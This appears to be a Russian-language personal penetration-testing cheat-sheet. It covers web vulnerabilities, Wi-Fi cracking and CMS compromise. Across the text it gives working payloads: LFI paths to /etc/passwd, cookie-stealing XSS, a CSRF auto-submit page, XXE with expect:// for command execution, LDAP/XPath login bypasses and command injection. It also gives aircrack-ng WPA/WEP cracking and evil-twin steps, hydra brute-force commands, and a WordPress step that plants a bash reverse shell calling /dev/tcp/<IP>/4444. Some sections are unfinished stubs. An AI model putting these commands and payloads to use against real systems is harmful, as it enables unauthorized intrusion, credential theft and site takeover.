Попробовать получить файлы содержащиеся на сервере и отвечающие за кросс-доменную политику.

Если в файле содержатся ошибки, то возможна CSRF.

Как тестировать:

Ищем файлы crossdomain.xml и clientaccesspolicy.xml
например:

```
http://www.owasp.org/crossdomain.xml
```

[13. Идентификация пользователей]

Определение ролей пользователей. Опередилите какие роли существуют в приложении для пользователей - гость, зарег. пользователь, модератор, администратор и т.д.

При анализе полномочий пользователей, нужно сделать вывод о том адекватно ли настроено разграничение доступа

[14. Тестирование процесса регистрации и "угадывание" имен других пользователей, определение политик образования имен пользователей]

Анализировать как приложение реагирует на:

* ввод существующих логина и не правильного пароля
* ввод неправильного логина и неправильного пароля
* восстановление пароля пользователя

Исходя из этого можно собрать сведения об именах пользователей, а также еще какую нибудь информацию
В дальнейшем словарь из пользователей можно использовать для брутфорса

[15. Аутентификация]

Проверка того, в каком виде отправляются аутентификационные данные на сервер (открыто/зашифрованно)

По GET-методу опасно (можно вытащить из логов, браузера)

[16. Тестирование учетных данных по умолчанию]

Часто в веб-приложениях используются программное обеспечение, которое работает "из коробки". Для первоначальной авторизации в таком софте используются учетные данные по умолчанию.
Дефолтные логин и пароль могут оставаться в системе неизменными. Проверь в гугле какие данные используются в конкретном софте по умолчанию.

Логины: admin, administrator, root, system, quest, operator, super
Пароли: pass123, password, password123, admin, guest, пустой.

[17. Тестирование механизма блокировки аккаунтов]

Если механизм блокировки паролей слабый, то злоумышленник может попытаться перебрать пароли.

[18. Обход схемы аутентификации]

1) Запрос страницы напрямую
2) Изменение параметра
3) Предсказание ID сессии
4) SQL инъекции

1) Если в веб-приложении контроль доступа реализован только на странице логина, то аутентификацию можно обойти, запросив конкретную страницу навпрямую, и если эта страница не проверяет учетные данные, то мы на нее попадем. Узнать конкретную страницу можно через брут.

2) В GET или POST запросе можно обнаружить парметр наподобии "authenticated=no", при изменении его, мы проходим аутентификацию

3) Иногда веб-приложения реализуют аутентификацию с помощью сессионных идентификаторов. Однако если ID сессии генерируются в предсказуемом порядке, то можно подобрать существующий ID и получить неавторизованные доступ к веб-приложению, захватив сессию аутентифицированного пользователя

4) 'adm or '1'='1 --   :)

[19. Тестирование надежности политик паролей]

Самые часто используемые пароли в мире - 123456, password, qwerty. Если приложение позволяет создавать пользователям системы простые пароли, подобные этим, то политика паролей приложения, очевидно, не является надежной.

1) Какие символы разрешены и запрещены для использования в пароле? Обязан ли пользователь использовать символы из разных наборов символов, таких как строчные и прописные буквы, цифры и специальные символы?
2) Как часто пользователь может изменить свой пароль? Как быстро пользователь может изменить свой пароль после предыдущего изменения? Пользователи могут обходить требования к истории паролей, изменяя свой пароль 5 раз подряд, чтобы после последнего изменения пароля они снова настраивали свой первоначальный пароль.
3) Когда пользователь должен изменить свой пароль? После 90 дней? После блокировки учетной записи из-за чрезмерных попыток входа в систему?
4) Как часто пользователь может повторно использовать пароль? Поддерживает ли приложение историю предыдущих 8 использованных паролей пользователя?
5) Насколько следующий пароль должен отличаться от последнего пароля?
6) Запрещено ли пользователю использовать свое имя пользователя или другую информацию учетной записи (например, имя или фамилию) в пароле?

[20. Тестирование политики секретных вопросов/ответов]

Многие веб-приложения реализуют функцию секретных вопросов/ответов таким образом, что ответы на эти секретные вопросы легко угадываются. Например, такие данные, как дата вашего рождения, любимый фильм или певец, кличка первого домашнего питомца, девичья фамилия матери и тд, обнаруживаются в соц.сетях жертвы либо подбираются методом перебора по словарю.

[21. Тестирование функции восстановления, сброса и изменения пароля]

Придет ли забытый пароль на почту в открытом виде? Такое поведение будет указывать на то, что пароли хранятся в базе данных в открытом виде. Если новый пароль генерируется автоматически, можно ли его предсказать? Он придет на ту почту, которую указывали при регистрации или адрес можно как-то изменить в ходе восстановления?

Как для смены пароля, так и для сброса пароля важно проверить:

1) могут ли пользователи, кроме администраторов, изменять или сбрасывать пароли для учетных записей, отличных от их собственных
2) могут ли пользователи манипулировать или подменить процесс изменения или сброса пароля, чтобы изменить или сбросить пароль другого пользователя или администратора
3) может ли процесс изменения или сброса пароля быть уязвим для CSRF

Наиболее небезопасный сценарий здесь, если приложение разрешает изменение пароля без запроса текущего пароля. Действительно, если злоумышленник может взять под контроль допустимый сеанс, он может легко изменить пароль жертвы.

[22. Тестирование аутентификации через альтернативные каналы]

Кроме основного веб-приложения иногда можно логиниться через мобильное приложение, через тестовую версию сайта или даже по телефону через колл центр. Нужно определить все альтернативные каналы и протестировать их.
#изучи

[23.Обнаружение уязвимостей Directory traversal/file include]

Используя эту уязвимость, можно читать директории и файлы, которые обычно нельзя прочитать, получать доступ к данным вне корня сайта или подключать скрипты к сайту и другие виды файлов с внешних ресурсов.

```
#обычный просмотр
/script.php?page=../../../../../../../../etc/passwd
/script.php?file=./....//....//....//....//etc//passwd
#null-byte
vuln.php?page=/etc/passwd%00
vuln.php?page=/etc/passwd%2500
# php expect
php?page=expect://ls

/fi/?page=php://input&cmd=ls
vuln.php?page=php://filter/convert.base64-encode/resource=/etc/passwd


#Техники, связанные с укорачиванием
vuln.php?page=/etc/passwd…………………………………………………………………….
vuln.php?page=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
vuln.php?page=/etc/passwd/../../../../../../../../../../../../../../../../../..


#LFI Windows Files
```

```
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\SAM
%WINDIR%\win.ini
%SYSTEMDRIVE%\boot.ini
%WINDIR%\Panther\sysprep.inf
%WINDIR%\system32\config\AppEvent.Evt


# URL encoding and double URL encoding

%2e%2e%2f represents ../

%2e%2e/ represents ../
..%2f represents ../

%2e%2e%5c represents ..\

%2e%2e\ represents ..\

..%5c represents ..\

%252e%252e%255c represents ..\

..%255c represents ..\ and so on.

# Unicode/UTF-8 Encoding

..%c0%af represents ../

..%c1%9c represents ..\

# автоматические инструменты:

dotdotpwn   # инструмент с гитхаба https://github.com/wireghoul/dotdotpwn
```

[24. Обход схемы авторизации]

```
#хз, изучи
```

[25. Повышение привелегий]

```
#Теория
На этом этапе тестировщик должен убедиться в том, что пользователь не может изменять свои привилегии или роли в
приложении таким образом, чтобы можно было проводить атаки на повышение привилегий. Повышение привилегий
происходит, когда пользователь получает доступ к большему количеству ресурсов или функций, чем им обычно разрешено,
и такое повышение или изменения должны были быть предотвращены приложением. Обычно это вызвано недостатком
приложения. В результате приложение выполняет действия с большим количеством привилегий, чем предусмотрено
разработчиком или системным администратором. Степень эскалации зависит от того, какими привилегиями наделен
злоумышленник и какие привилегии можно получить в случае успешного использования. Например, ошибка
программирования, которая позволяет пользователю получить дополнительную привилегию после успешной аутентификации,
ограничивает степень эскалации, поскольку пользователь уже авторизован для сохранения некоторой привилегии.
Аналогично, удаленный злоумышленник, получивший привилегию суперпользователя без какой-либо аутентификации,
представляет большую степень эскалации. Обычно люди обращаются к вертикальной эскалации, когда возможно получить
доступ к ресурсам, предоставленным более привилегированным учетным записям (например, получение административных
привилегий для приложения), и к горизонтальной эскалации, когда возможно получить доступ к ресурсам,
предоставленным аналогично сконфигурированной учетной записи (например, в приложении для онлайн-банкинга, доступ к
информации, связанной с другим пользователем)


В каждой части приложения, где пользователь может создавать информацию в базе данных (например, совершать платеж,
добавлять контакт или отправлять сообщение), может получать информацию (выписка со счета, детали заказа и т. Д.)
Или удалять информацию (удалить пользователей, сообщения и т. д.), необходимо записать эту функциональность. Тестер
должен попытаться получить доступ к таким функциям как другой пользователь, чтобы проверить, возможно ли получить
доступ к функции, которая не должна быть разрешена ролью / привилегией пользователя (но может быть разрешена как
другой пользователь).

# Изменение GroupID

Например если пользователю из какой-то группы разрешено какое-то действие, то запрос будет выглядеть следующим
образом:

POST /user/viewOrder.jsp HTTP/1.1
Host: www.example.com
...
groupID=grp001&orderID=0001

Можно изменять оба параметра для того чтобы протестировать этот момент.

# Изменение User Profile

При определенном дейтсвии на сайте может возникнуть запрос в теле которого будут значения, в которых будут
фигурировать разлтичные права на контент например, name="profile" value="SysAdmin"
Необходимо протестировать эти параметры.

# Изменение  Condition Value

@0`1`3`3``0`UC`1`Status`OK`SEC`5`1`0`ResultSet`0`PVValid`-1`0`0` Notifications`0`0`3`Command
Manager`0`0`0` StateToolsBar`0`0`0`
StateExecToolBar`0`0`0`FlagsToolBar`0

Изменяем значение PVValid на 0 , вместо -1. получаем админа

# Weak SessionID  (слабый)

Например веб-сайт использует md5(пароль+идентификатор пользователя) в качестве sessionID.
```

Затем можно угадать или сгенерировавать sessionID для других пользователей.

[26. Небезопасные ссылки на объекты]

Явление при котором у пользователя есть возможность получить доступ к файла и т.п. , к чему у него доступа быть не должно, например:

1) #параметр URL
 http://mybank/customer/27 # если вы зашли в личный кабинет банка и видите что вы номер 27, то захотя узнать что у других пользователей, мы меняем на 28, и получаем доступ к личному кабинету другого пользователя без авторизации.

2) # параметр запроса
 http://mycompany/reviews?employee=jsmith # получив ссылку на ваш документ, мы можем изменить параметр запроса (имя) и получить доступ к документу другого пользователя

3) # доступ к определенным веб-страницам
 если есть ссылка на админскую панель http://mywebsite/admin , но зайти на нее можно только обладая административными правами. То авторизуясь как обычный пользователь, мы можем напрямую вызвать админ. панель и попасть на нее

[27. Обход схемы управления сессиями]

В этом тесте тестер хочет проверить, что файлы cookie и другие токены сеансов созданы в безопасном и непредсказуемом путь. Злоумышленник, способный предсказать и подделать слабый файл cookie, может легко перехватить сессии законных пользователей.

#Куки должны обладать следующими свойствами:

1) Непредсказуемость: cookie должен содержать некоторое количество трудно угадываемых данных. Чем сложнее создать правильный файл cookie, сложнее прорваться в сессию законного пользователя. Если злоумышленник может угадать cookie, используемый в активном сеансе законного пользователя, они смогут полностью выдать себя за этого пользователя. Может использоваться криптография
2) Защита от несанкционированного жоступа: файл куки должен противостоять злонамеренным попыткам модификации. Если тестер получает купи вроде IsAdmin=no, то его можно модифицировать.
3) Срок действия: критический файл куки должен быть действителен только в течении соответствующего периода времени и должен быть удален с диска.
4) “Secure” flag, куки должны передаваться по защищенным каналам

[28. Cross Site Request Forgery (CSRF)]

Cross Site Request Forgery, или CSRF, является атакой, которая осуществляется в тот момент, когда вредоносный сайт, письмо, сообщение, приложение или что-либо иное заставляет браузер пользователя выполнить некоторые действия на другом сайте, где этот пользователь уже аутентифицирован. Зачастую это происходит без ведома пользователя.

Пример страницы злоумышленника, заходя на которую жертва меняет свой пароль на определенном сайте, то есть посылает от своего имени POST запрос на сайт на котором она авторизована и имеются куки

```
<html>
  <body>
    <form action="https://vulnerable-website.com/email/change" method="POST">
      <input type="hidden" name="email" value="pwned@evil-user.net" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

CSRF с помощью GET запроса, при котором злоумышленнику не понадобится создавать свой сайт, а достаточно использовать чужой уязвимый сайт, и направить туда пользователя

```
<img src="https://vulnerable-website.com/email/change?email=pwned@evil-user.net">
```

Распространенные уязвимости CSRF:

При включении CSRF-токена, в теории эта атака становится невозможной, но существует несколько ошибок:
1) Проверка токена CSRF зависит от метода запроса, некоторые приложения корректно проверяют токен, когда запрос использует метод POST, но пропускают проверку, если токен опущен, в этой ситуации злоумышленник может переключиться на метод GET, чтобы обойти проверку и выполнить атаку CSRF:

```
GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
```

2) Проверка токена CSRF зависит от наличия токена, некоторые приложения корректно проверяют токен, когда он присутствует, но пропускают проверку, если токен опущен, в этой ситуации зло. может удалить весь парметр, содержащий токен, чтобы обойти проверку и выполнить атаку CSRF:

```
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net
```

3) Маркер CSRF не привязан к сеансу пользователя
Некоторые приложения не подтверждают, что токен принадлежит тому же сеансу, что и пользователь, отправляющий запрос. Вместо этого приложение поддерживает глобальный пул токенов, которые оно выпустило, и принимает любой токен, который появляется в этом пуле.
В этой ситуации злоумышленник может войти в приложение, используя собственную учетную запись, получить действительный токен и затем передать этот токен пользователю-жертве в ходе атаки CSRF.

[29. Session Puzzling]

Если сайт использует одно имя переменной и при аутентификации, и при восстановлении пароля, то можно попробовать например зайти на страничку восстановления пароля, и вместо своего имени указать имя администратора, сайт подумает что мы и есть администратор и выводи секретный вопрос для администратора, дальше мы уже работаем как администратор. Это логическая ошибка, можно что нибудь провернуть наподобии, с другим функционалом сайта, где использует несколько точек входа и одни куки.

[30. Cross Site Scripting (XSS)]

#http://xss-scanner.com/
#https://owasp.org/www-community/xss-filter-evasion-cheatsheet
https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

#1) Reflected

В основном используют в функционале сайта который выдает результат ввода пользователя без надлежащей обработки (фильтрации). Например форма поиска на сайте.
#Как тестировать:
* проверить каждую точку входа

#пример 1
В URL находится имя пользователя которое потом отображается на странице, например приветствие пользователяЮ подставим вместо имени - скрипт.
http://example.com/index.php?user=<script>alert(123)</script>

#пример 2

в исходном коде страницы:
<input type="text" name="state" value="INPUT_FROM_USER">
мы можем не используя <> ввести свой скрипт и он сработает:

" onfocus="alert(document.cookie)

#пример 3

простой пример обхода фильтров xss:

"><script >alert(document.cookie)</script >
"><ScRiPt>alert(document.cookie)</ScRiPt>
"%3cscript%3ealert(document.cookie)%3c/script%3e

#пример 4

обход нерекурсивной фильтрации xss:

<scr<script>ipt>alert(document.cookie)</script>

#2) Stored

В основном такие уязвимостям подвержены форумы, порталы, блоги - те ресурсы в которые мы может встаивать свой HTML код путем написания на странице какого текста.
(у себя в личном кабинете), так же необходимо протестировать механизм загрузки файлов на сервер, если туда можно загрузить свою HTML-страницу

Так выглядит POST-запрос на загрузку файла на сервер. Мы загружаем gif-файл, но указываем в типе файла что это текст, и прописываем XSS, она должна сработать

Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
Content-Type: text/html

<script>alert(document.cookie)</script>

#3) DOM

Наиболее распростарненным источником для DOM XSS является URL к которому обычно обращаются с помощью объекта window.location

#РАЗБЕРИСЬ ПОЛУЧШЕ!!!!

[31. Подделка HTTP-методов]

Все методы кроме GET и POST должны быть отключены в приложении, иначе они могут нести дополнительную информацию о приложении. Спецификация HTTP включает в себя множество методов, отличных от стандартных GET и POST. Веб-сервер может реагировать на альтернативные методы способами, которые не были предусмотрены разработчиком, что в свою очередь может привести к раскрытию конфиденциальной информации, выполнению действий без аутентификации или другим нарушениям работы приложения.

Тестируем через netcat или telnet:

#1.1 OPTIONS
OPTIONS /index.html HTTP/1.1
host: www.example.com

#1.2 GET
GET /index.html HTTP/1.1
host: www.example.com

#1.3 HEAD
HEAD /index.html HTTP/1.1
host: www.example.com

#1.4 POST

```
POST /index.html HTTP/1.1
host: www.example.com

#1.5 PUT
PUT /index.html HTTP/1.1
host: www.example.com

#1.6 DELETE
DELETE /index.html HTTP/1.1
host: www.example.com

#1.7 TRACE
TRACE /index.html HTTP/1.1
host: www.example.com

#1.8 CONNECT
CONNECT /index.html HTTP/1.1
host: www.example.com
```

[32. Загрязнение HTTP-параметров (HPP)]

Данная уязвимость возникает, когда веб-сервер аномально реагирует на получение нескольких HTTP-параметров с одинаковыми именами. Используя эти аномалии, можно обойти фильтрацию входных данных, изменить значения внутренних переменных, вызвать ошибки сервера.

Как тестировать:

Чтобы проверить уязвимости HPP, определите любую форму или действие, которое позволяет вводить данные пользователем. Параметры строки запроса в HTTP-запросах GET легко настраиваются на панели навигации браузера. Если действие формы отправляет данные через POST, тестировщик должен будет использовать перехватывающий прокси-сервер для изменения данных POST при их отправке на сервер. Определив конкретный входной параметр для тестирования, можно отредактировать данные GET или POST, перехватив запрос, или изменить строку запроса после загрузки страницы ответа. Чтобы проверить уязвимости HPP, просто добавьте тот же параметр к данным GET или POST, но с другим назначенным значением.

#Server Side HPP

#Пример 1:
Обычный запрос:

http://example.com/?mode=guest&search_string=kittens&num_results=100

Модифицированный запрос:

http://example.com/?mode=guest&search_string=kittens&num_results=100&search_string=puppies

#Пример 2
Тут нам понадобится отправить 3 запроса, для выяснения HPP уязвимости:

1 запрос содержит один параметр: page?par1=val1 (запишите ответ)
2 запрос содержит один измененный параметр который получился от первого: page?par1=HPP-TEST1 (запишите ответ)
3 запрос объединенный первый и второй: page?par1=val1&par1=HPP_TEST1

Сравните ответы, полученные на всех предыдущих этапах. Если ответ (3) отличается от (1), а ответ (3) также отличается от (2), существует несоответствие импеданса, которое может в конечном итоге использоваться для запуска уязвимостей HPP. (посмотри в интернете эксплоит)

[33. SQL Injection]

[34. LDAP Injection]

Облегченный протокол доступа к каталогам (LDAP) используется для хранения информации о пользователях, хостах и многих других объектах. Инъекция LDAP - это атака на стороне сервера, которая может позволить раскрыть, изменить или вставить конфиденциальную информацию о пользователях и хостах, представленных в структуре LDAP.

#Как тестировать:

Пример 1. Поиск фильтров

Предположим, у нас есть веб-приложение, использующее поисковый фильтр, подобный следующему: searchfilter="(cn="+user +")"

который создается HTTP-запросом: http://www.example.com/ldapsearch?user=John

Если значение John заменить на *, отправив запрос: :
http://www.example.com/ldapsearch?user=*

фильтр будет выглядеть так: searchfilter="(cn=*)"
И если приложение уязвимо для внедрения LDAP, оно отобразит некоторые или все атрибуты пользователя. Так же можно тиспользовать такие символы для тестирования: (, | , & , * и другие

Пример 2. Авторизация

Если веб-приложение использует LDAP для проверки учетных данных пользователя во время процесса входа в систему и оно уязвимо для внедрения LDAP, можно обойти проверку аутентификации, введя всегда истинный запрос LDAP (аналогично SQL и XPATH).
Предположим, что веб-приложение использует фильтр для сопоставления пары пользователь / пароль LDAP:

```
searchlogin= "(&(uid="+user+")(userpassword={md5}"+base64(pack("h*"md5(pass)))+"))";
```

Используя следующие значения:

```
user=*)(uid=*))(|(uid=*
pass=password
```

Поисковой фильтр приведет к:

```
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
```

что правильно и всегда верно. Таким образом, тестер получит статус входа в систему как первый пользователь в дереве LDAP.

[35. XML-инъекции]

Атака, когда атакующий пытается внедрить в веб-приложение свой XML-документ. Данная атака может привести к раскрытию конфиденциальных данных и удаленному выполнению произвольного кода на сервере.

Если приложение использует XML для того чтобы хранить там аутентификационную информацию, и при регистрации нового пользователя его аутентификационные данные передаются в приложение (XML) в виде GET-запроса, то можно использовать специальные символы. для того чтобы нарушить синтаксис запросов, эти символы это одинарная и двойная кавычки и другие : ' " < <!-- &

```
# Позволит вывести уязвимому серверу файл /etc/passwd

curl -d @xml2.txt http://192.168/56/101/xmlinject.php

<source lang="xml"><?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY <b>xxe</b> SYSTEM <b>"file:///etc/passwd</b>" >]>
<creds>
    <user><b>&xxe;</b></user>
    <pass>mypass</pass>
</creds>


# RCE

curl -d @xml3.txt http://192.168.56.101/xmlinject.php

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>

#Если в POST-запросе передается xml, можно делать такое:

<!ENTITY xxe SYSTEM «file:///dev/random» >]><inpu>&xxe;</input> (делаем DOS)

<!ENTITY xxe SYSTEM «file:///etc/passwd» >]><input>&xxe;</input> (включаем вывод файла)



# XXEinjector - для автоматизации эксплуатации XXE

https://xakep.ru/2012/12/11/xml-apps-attacks-manual/

# ИЗУЧИ ПОЛУЧШЕ!!!
```

[36. SSI-инъекции]

Веб-серверы обычно дают разработчикам возможность добавлять небольшие фрагменты динамического кода в статические HTML-страницы, не имея дело с полноценными серверными или клиентскими языками. Эта функция воплощена в Включениях на стороне сервера (SSI). В тестировании инъекций SSI мы проверяем, возможно ли внедрить в приложение данные, которые будут интерпретироваться механизмами SSI. Успешное использование этой уязвимости позволяет злоумышленнику внедрить код в HTML-страницы или даже выполнить удаленное выполнение кода.

```
# Как тестировать:

Для начала нужно выяснить поддерживает ли веб-сервер SSI, если присутствуют файлы с расширением .shtml

Далее нужно найти каждую страницу, на которой пользователю разрешено отправлять какие-либо данные, и проверить, правильно ли приложение проверяет отправленные данные. Если санитарная обработка недостаточна, нам нужно проверить, можем ли мы предоставить данные, которые будут отображаться без изменений (например, в сообщении об ошибке или в сообщении на форуме). Помимо обычных данных, предоставляемых пользователями, входными векторами, которые следует всегда учитывать, являются заголовки HTTP-запросов и содержимое файлов cookie, поскольку их легко подделать.

Ввод в форму ввода:
<!--#include virtual="/etc/passwd" -->

Тоже возможно:
GET / HTTP/1.0
Referer: <!--#exec cmd="/bin/ps ax"-->
User-Agent: <!--#include virtual="/proc/version"-->
```

[37. XPath Injection]

XPath (XML Path Language) - язык запросов к элементам XML-документа. В тестировании XPath-инъекции мы проверяем, возможно ли внедрить синтаксис XPath в запрос, интерпретируемый приложением, позволяя выполнять произвольные запросы XPath. При успешном использовании эта уязвимость может позволить обойти механизмы аутентификации или получить доступ к информации без надлежащей авторизации.

XPath это аналог sql, только для XML.

```
# Как тестировать:

Техника похожп на тестирование SQL-инъекций:

Если есть форма авторизации с вводом логина и пароля, а база имен хранится в XMl примерно так:
```

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
```

To запрос в этот XML будет похож на:

```
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
```

Итак, если мы введем в поле логин и пароль такие строки:

```
Username: ' or '1' = '1
Password: ' or '1' = '1
```

To запрос будет выглядеть так:

```
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
```

который всегда будет верен и приложения аутентифицирует нас без проверки

[38. IMAP/SMTP-инъекции]

IMAP/SMTP-инъекции позволяют внедрить произвольные IMAP или SMTP команды почтовому серверу через веб-приложение, если оно некорректно обрабатывает входные данные

```
# мне кажется очкень редкая уязвимость, при нахождении почтового приложения, поищи в интернете
```

[39. Инъекции программного кода]

Данный тест нацелен на серверные скриптовые движки (PHP, ASP, JSP и др.). Мы проверим, возможно ли отправить на сервер данные, которые будут интерпретированы этими движками.

```
# LFI



# RFI

http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page
```

[39. Command Injection]

Иногда возможно удаленно выполнять команды операционной системы на сервере, внедряя их в HTTP-запрос уязвимого веб-сайта.
Если в URL есть файлы скриптовых языков, например PERL, то можно использовать его для исполнения команд на сервере

```
http://sensitive/cgi-bin/userData.pl?doc=/bin/ls|
```

или так:

```
http://sensitive/something.php?dir=%3Bcat%20/etc/passwd
```

```
Code Review Dangerous API

Java
Runtime.exec()

C/C++
system
exec
ShellExecute

Python
exec
eval
os.system
os.popen
subprocess.popen
subprocess.call

PHP
system
shell_exec
exec
proc_open
eval
```

[40. HTTP Request Smuggling]

https://habr.com/ru/post/468489/ # статья

[41. Server Side Template Injection SSTI]

Wi-Fi

```
iwlist wlan0 scan    # вывод видимых беспроводных сетей

kismet               # так же для обнаружения беспроводных сетей
```

[Aircrack-ng]

```
#Задача: Взлом беспроводной сети на WPA-2

1. iwconfig   # вывод списка сетевых интерфейсов (wlan0)

2. airmon-ng  start wlan0  # перевод беспроводной сетевой карты в режим мониторингв (проверить можно с помощью iwconfig)
# Во время активации режима мониторинга может возникнуть ошибки с другими процессами, убиваем эти процессы и перезапускаем службы

pkill dhclient
pkill wpa-supplicant

service networking restart
service network-manager restart

3. airodump-ng wlan0mon  # сканируем сеть на нахождение цели, так же нам нужно BSSID, номер канала (CH), название сети (ESSID)

4. airodump-ng wlan0mon -c 6 --bssid 44:94:FC:37:10:6E -w Aircrack-wifi   # захват беспроводного трафика исходящего из целевой точки доступа. Наша цель - захватить четырехстороннее рукопожатие
# По мере выполнения команды следует убедиться, что мы захватили рукопожатие. Если клиент подключается с допустимым рукопожатием, выхожные жанные команды показывают его как захваченное.

# Если не можешь получить рукопожатие WPA, посмотри, есть ли клиент, обращающийся к сети. В данном случае мы видм станцию подключенную к целевой беспроводной сети с MAC-адресом 64:A5:C3:DA:30:DC. Нужно инициировать обрыв связи, чтобы клиент повторно подключился и мы зпхватили рукопожатие.

aireplay-ng -0 3 -a 44:94:FC:37:10:6E(сеть) -c 64:A%:C3:DA:30:DC(пользователь)   # инициирование обрыва связи между клиентов и беспроводной сетью

5. aircrack-ng -w rockyou.txt -b 44:94:FC:37:10:6E wificrack.cap   # взламываем захваченное четырехстороннее рукопажатие с помощью словаря

# Задача: взлом WEP (понадобится 3 терминала)

1. airmon-ng start wlan0   # перевод карты в режим
2. airodump-ng wlan0mon    # поиск целевой сети
3. airodump-ng -c 11 -w belkincrack --bssid C0:56:27:DB:30:41 # захват данных в целевой беспроводной сети. Сбор векторов инициализации (IVs)
4. aireplay-ng -1 0 -a C0:56:27:DB:30:41 wlan0mon # подделываем аутентификацию
5. aireplay-ng -3 -b C0:56:27:DB:30:41 wlan0mon   # открываем новый терминал, проводи повторную атаку на запросы ARP. Открываем второй терминал и вводим команду, здесь "-3" говорит aireplay-ng произвести атаку повторного воспроизведения запроса ARP. После этого в первом терминале, должна увеличиться скорость передачи данных. Столбец #Data показывает количество захваченных векторов инициализации
6. aircrack-ng belkincrack-01.cap                 # открываем третий терминал. Здесь мы собираемся начать взлом WEP. Он может выполняться в тот момент пока команда airodump-ng захватывает векторы инициализации. (1 терминал)
7.  profit
```

[Fern Wi-Fi cracker]

```
fern-wifi-cracker

1. выбираем интерфейс
2. scan for access points
3. WPA
4. выбор сети
5. WPA или WPS
6. выбираем словарь
7. wifi attack
8. profit
```

[Атака "Злой двойник"]

```
1. apt-get install dnsmasq
2. airmon-ng start wlan0
3. airodump-ng wlan0
4. nano dnsmasq.conf

interface=<at0>
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6.10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

5. airbase-ng -e <ESSID> -c <CH> wlan0mon
6. ifconfig at0 10.0.0.1 up
7. iptables --flush
8. iptables --table nat --append POSTROUTING --out-interface wlan1 -j MASQUERADE
9. iptables --append FORWARD --in-interface at0 -j ACCEPT
10. dnsmasq -C <config file> -d
11. echo 1 > /proc/sys/net/ipv4/ip_forward
```

[Reaver]   - ПО используется для быстрого взлома WPS

[Пассивный анализ трафика]

При пассивном анализе мы не аутентифицируемся в сети.

1. airmon-ng start wlan0
2. airodump-ng wlan0mon -c 6 --bssid 44:94:FC:37:10:6E -w Wifi-crack
#гугли короче, сложно

Wordpress

[1]
Plugins -> Editor -> akismet.php

в начало файла:
<?php exec ("/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'"); ?>

[2]

php-reverse-shell.php в тему ошибки 404

<IP>/wordpress/wp-content/themes/twentythirteen/404.php

[Перебор логина и пароля пользователя]

```
hydra -vV -L fsocity.dic.uniq -p wedontcare 192.168.2.4 http-post-form '/wp-ogin.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'    # перебираем имена пользователей в wordpress, используя словарь

hydra -vV -l elliot -P fsocity.dic.uniq vm http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=is incorrect'    # перебираем пароль пользователя так же
```

[wpscan]

```
wpscan --url http://ip/ - проверяем на уязвимости
wpscan --url http://ip --enumerate u  - перебор пользователей
wpscan --url http://ip -U users.txt -P pass.txt -t 50  - перебираем пользователей и пароли по словарю


cewl -w wordlist.txt -d 5 -m 4 http://ip  #составляет словарь из слов, которые находятся на сайте, потом можно использовать как лсоварь для перебора паролей/логинов
```

Joomla

1. joomscan -url http://ip -enumerate-components # позволяет узнать версию Joomla

2. searchsploit joomla   # после того как узнали версию Joomla, ищем эксплоиты для этой версии

3. ip/administrator/index.php?option=com_templates
   ip/administrator/index.php?option=com_templates&view=templates   # после того, как смогли проэксплуатировать уязвимость (попасть на сайт), ищем темы для сайта в которых находятся шаблоны страниц, создаем свою и записываем туда php-reverse-shell

4. ip/templates/protostar/shell.php   # запустить php-reverse-shell можно на страничке, вместо protostar может быть другой шаблон

Services

fingerd linux

```
#fingerd 79 port

telnet 10.0.0.1 79
finger root@10.0.0.1  - можно просмотреть какие пользователи зарегистрированы на сервере
```

SMTP 25

```
#SMTP 25 port

telnet <IP> 25

ehlo server - инициировать соединение с сервером (helo)
vrfy user проверка наличия юзера на сервере


smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT]
```

git

```
git show
git log
git show <commit id>
```

Discard 9

#9/tcp - Discard

DISCARD — предназначен для тестирования связи путём отправки данных на сервер, который отбрасывает принятое, не отправляя никакого ответа. Также используется для Wake-on-LAN-удалённого включения компьютера.
https://www.exploit-db.com/exploits/19555

Daytime 13

#13/tcp - Daytime

DAYTIME — предназначен для тестирования связи путём получения от сервера текущих даты и времени в текстовом вид

chargen 19

#19/tcp chargen

Она предназначена для тестирования, измерения и отладки.
Узел сети может установить соединение с сервером, поддерживающим Character Generator Protocol с использованием TCP или UDP через порт 19. После открытия TCP-соединения, сервер начинает отправлять клиенту случайные символы и делает это непрерывно до закрытия соединения. В UDP-реализации протокола, сервер отправляет UDP-датаграмму, содержащую случайное (от 0 до 512) количество символов каждый раз, когда получает датаграмму от узла. Все полученные сервером данные игнорируются.
https://www.rapid7.com/db/modules/auxiliary/scanner/chargen/chargen_probe
